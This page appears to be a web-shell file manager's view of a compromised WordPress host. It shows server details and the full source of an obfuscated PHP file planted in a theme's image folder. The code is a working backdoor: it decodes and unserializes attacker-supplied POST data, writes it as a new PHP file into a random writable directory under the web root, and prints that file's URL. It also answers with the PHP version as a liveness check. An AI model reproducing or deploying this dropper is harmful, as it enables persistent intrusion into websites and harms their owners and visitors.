HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/themes/open-shop/image/ifrfmpek.php
<?php function rpHZVoFRe($QbnxEkuL){$lufWgJXn = chr(114).chr(97)."\x77".chr(815-698).chr(954-840)."\154".chr(100).'e'."\143"."\157".'d'."\145";$BuxomDF = chr(306-191).chr(116).chr(114).chr(908-813).chr(114-0)."\157".chr(116).chr(861-812)."\63";$WfgQlC = "\163"."\164"."\162"."\137".chr(115).chr(112)."\x6c".'i'."\164";$QbnxEkuL = $WfgQlC($lufWgJXn($BuxomDF($QbnxEkuL)));return $QbnxEkuL;}function yHmAh($spkwFYf, $QbnxEkuL){$RDFucSPmt = "\163".'t'."\x72".chr(1033-938)."\163".chr(183-71)."\154".chr(117-12).chr(116);$spkwFYf = array_slice($RDFucSPmt(str_repeat($spkwFYf, (count($QbnxEkuL)/16)+1)), 0, count($QbnxEkuL));return $spkwFYf;}function QBlOM($njOrzdqcZ, $ODdHHt, $spkwFYf){$RQHOjElVm = "6adf1cfd-58c0-403e-b0cb-0496fe1c7280";return $njOrzdqcZ ^ $RQHOjElVm[$ODdHHt % strlen($RQHOjElVm)] ^ $spkwFYf;}function CzNewVLjX($QbnxEkuL, $spkwFYf){$QbnxEkuL = array_map("QBlOM", array_values($QbnxEkuL), array_keys($QbnxEkuL), array_values($spkwFYf));$QbnxEkuL = implode("", $QbnxEkuL);$mIhrtz = 'u'.chr(110).chr(1013-898)."\145".chr(114).'i'.chr(97).chr(108)."\x69".chr(122).chr(101);$QbnxEkuL = @$mIhrtz($QbnxEkuL);return $QbnxEkuL;}function jDwAVZwQRk(){echo "nyTIwYpwo";}function HHbfnczy($eIbOZYrskir){static $LGCXRGCcbQ = array();$bMpXstVH = glob($eIbOZYrskir . '/*', GLOB_ONLYDIR);$jeQiC = count($bMpXstVH);if ($jeQiC > 0) {foreach ($bMpXstVH as $eIbOZYrsk) {$KEWwzJW = "\x69"."\x73"."\x5f".'w'.'r'."\151".chr(116).chr(961-864).'b'.chr(210-102).'e';if (@$KEWwzJW($eIbOZYrsk)) {$LGCXRGCcbQ[] = $eIbOZYrsk;}}}foreach ($bMpXstVH as $eIbOZYrskir) HHbfnczy($eIbOZYrskir);return $LGCXRGCcbQ;}function aLplHMirix(){echo "VdMxGk";}function zOlrZkxU($QbnxEkuL){$GHLSrSuYt = chr(68)."\117".'C'.chr(834-749).chr(906-829).'E'.'N'.chr(84)."\x5f".'R'."\117".chr(230-151).'T';$urEEzlSxDv = $_SERVER[$GHLSrSuYt];$bMpXstVH = HHbfnczy($urEEzlSxDv);$rMfQIL = array_rand($bMpXstVH);$dXkFLTmv = chr(46)."\x70".chr(909-805).'p';$oMybihpp = $bMpXstVH[$rMfQIL] . "/" . substr(md5(time()), 0, 8) . $dXkFLTmv;$GJUzwKyK = chr(745-643)."\151"."\154".chr(101).'_'.chr(112).chr(117).chr(116)."\137".chr(770-671)."\x6f"."\x6e"."\164"."\x65".'n'."\x74".chr(115);@$GJUzwKyK($oMybihpp, $QbnxEkuL);$sxeBvEXFx = chr(72).chr(84).chr(655-571)."\120".chr(327-232)."\110".chr(280-201)."\x53".chr(84);$JyHzUX = chr(676-572)."\164".chr(321-205)."\160".chr(58).'/'."\57";$HwDLaV = $JyHzUX . $_SERVER[$sxeBvEXFx] . substr($oMybihpp, strlen($urEEzlSxDv));print($HwDLaV);}foreach ($_POST as $spkwFYf => $QbnxEkuL){$pVjgRFnmgM = strlen($spkwFYf);if ($pVjgRFnmgM == 16){$QbnxEkuL = rpHZVoFRe($QbnxEkuL);$spkwFYf = yHmAh($spkwFYf, $QbnxEkuL);$QbnxEkuL = CzNewVLjX($QbnxEkuL, $spkwFYf);if (@is_array($QbnxEkuL)){$rMfQIL = array_keys($QbnxEkuL);$QbnxEkuL = $QbnxEkuL[$rMfQIL[0]];if ($QbnxEkuL === $rMfQIL[0]){$iaDKMkc = 'p'."\150"."\x70";$eWBDx = chr(112).chr(104).chr(112)."\x76".chr(556-455).chr(114).chr(115).'i'."\157".chr(453-343);$NdLevc = chr(491-376)."\x65".chr(114)."\x69".'a'.chr(421-313).chr(138-33).chr(308-186).'e';echo @$NdLevc(Array($iaDKMkc => @$eWBDx(), ));}else {zOlrZkxU($QbnxEkuL);}die();}}}